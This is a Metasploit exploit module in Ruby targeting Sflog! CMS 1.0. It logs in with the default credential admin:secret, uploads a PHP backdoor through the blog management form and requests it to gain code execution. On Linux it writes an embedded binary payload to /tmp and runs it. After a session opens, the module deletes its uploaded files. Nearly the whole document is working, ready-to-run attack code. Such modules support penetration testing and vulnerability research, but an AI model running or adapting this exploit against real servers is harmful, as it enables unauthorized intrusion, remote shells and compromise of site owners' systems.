Sflog! CMS 1.0 Arbitrary File Upload

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",  
'Description' => %q{  
This module exploits multiple design flaws in Sflog 1.0. By default, the CMS has  
a default admin credential of "admin:secret", which can be abused to access  
administrative features such as blogs management. Through the management  
interface, we can upload a backdoor that's accessible by any remote user, and then  
gain arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'dun', #Discovery, PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['OSVDB', '83767'],  
['EDB', '19626']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => ['linux', 'php'],  
'Targets' =>  
[  
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jul 06 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),  
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),  
OptString.new('PASSWORD', [true, 'The password to login with', 'secret'])  
], self.class)  
end  
  
  
def check  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
base = File.dirname("#{target_uri.path}.")  
  
res = send_request_raw({'uri'=>"#{base}/index.php"})  
  
if not res  
return Exploit::CheckCode::Unknown  
elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
  
#  
# Embed our binary in PHP, and then extract/execute it on the host.  
#  
def get_write_exec_payload(fname, data)  
p = Rex::Text.encode_base64(generate_payload_exe)  
php = %Q|  
<?php  
$f = fopen("#{fname}", "wb");  
fwrite($f, base64_decode("#{p}"));  
fclose($f);  
exec("chmod 777 #{fname}");  
exec("#{fname}");  
?>  
|  
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')  
return php  
end  
  
  
def on_new_session(cli)  
if cli.type == "meterpreter"  
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")  
end  
  
@clean_files.each do |f|  
print_status("#{@peer} - Removing: #{f}")  
begin  
if cli.type == 'meterpreter'  
cli.fs.file.rm(f)  
else  
cli.shell_command_token("rm #{f}")  
end  
rescue ::Exception => e  
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")  
end  
end  
end  
  
  
#  
# login unfortunately is needed, because we need to make sure blogID is set, and the upload  
# script (uploadContent.inc.php) doesn't actually do that, even though we can access it  
# directly.  
#  
def do_login(base)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{base}/admin/login.php",  
'vars_post' => {  
'userID' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
})  
  
if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/  
return res.headers['Set-Cookie']  
else  
return ''  
end  
end  
  
  
#  
# Upload our payload, and then execute it.  
#  
def upload_exec(cookie, base, php_fname, p)  
data = Rex::MIME::Message.new  
data.add_part('download', nil, nil, "form-data; name=\"blogID\"")  
data.add_part('7', nil, nil, "form-data; name=\"contentType\"")  
data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")  
data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")  
  
# The app doesn't really like the extra "\r\n", so we need to remove the newline.  
post_data = data.to_s  
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{base}/admin/manage.php",  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'cookie' => cookie,  
'headers' => {  
'Referer' => "http://#{rhost}#{base}/admin/manage.php",  
'Origin' => "http://#{rhost}"  
}  
})  
  
if not res  
print_error("#{@peer} - No response from host")  
return  
end  
  
target_path = "#{base}/blogs/download/uploads/#{php_fname}"  
print_status("#{@peer} - Requesting '#{target_path}'...")  
res = send_request_raw({'uri'=>target_path})  
if res and res.code == 404  
print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")  
return  
end  
  
handler  
end  
  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
base = File.dirname("#{target_uri.path}.")  
  
print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")  
cookie = do_login(base)  
  
if cookie.empty?  
print_error("#{@peer} - Unable to login")  
return  
end  
  
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"  
@clean_files = [php_fname]  
  
case target['Platform']  
when 'php'  
p = "<?php #{payload.encoded} ?>"  
when 'linux'  
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"  
@clean_files << bin_name  
bin = generate_payload_exe  
p = get_write_exec_payload("/tmp/#{bin_name}", bin)  
end  
  
upload_exec(cookie, base, php_fname, p)  
end  
end  
`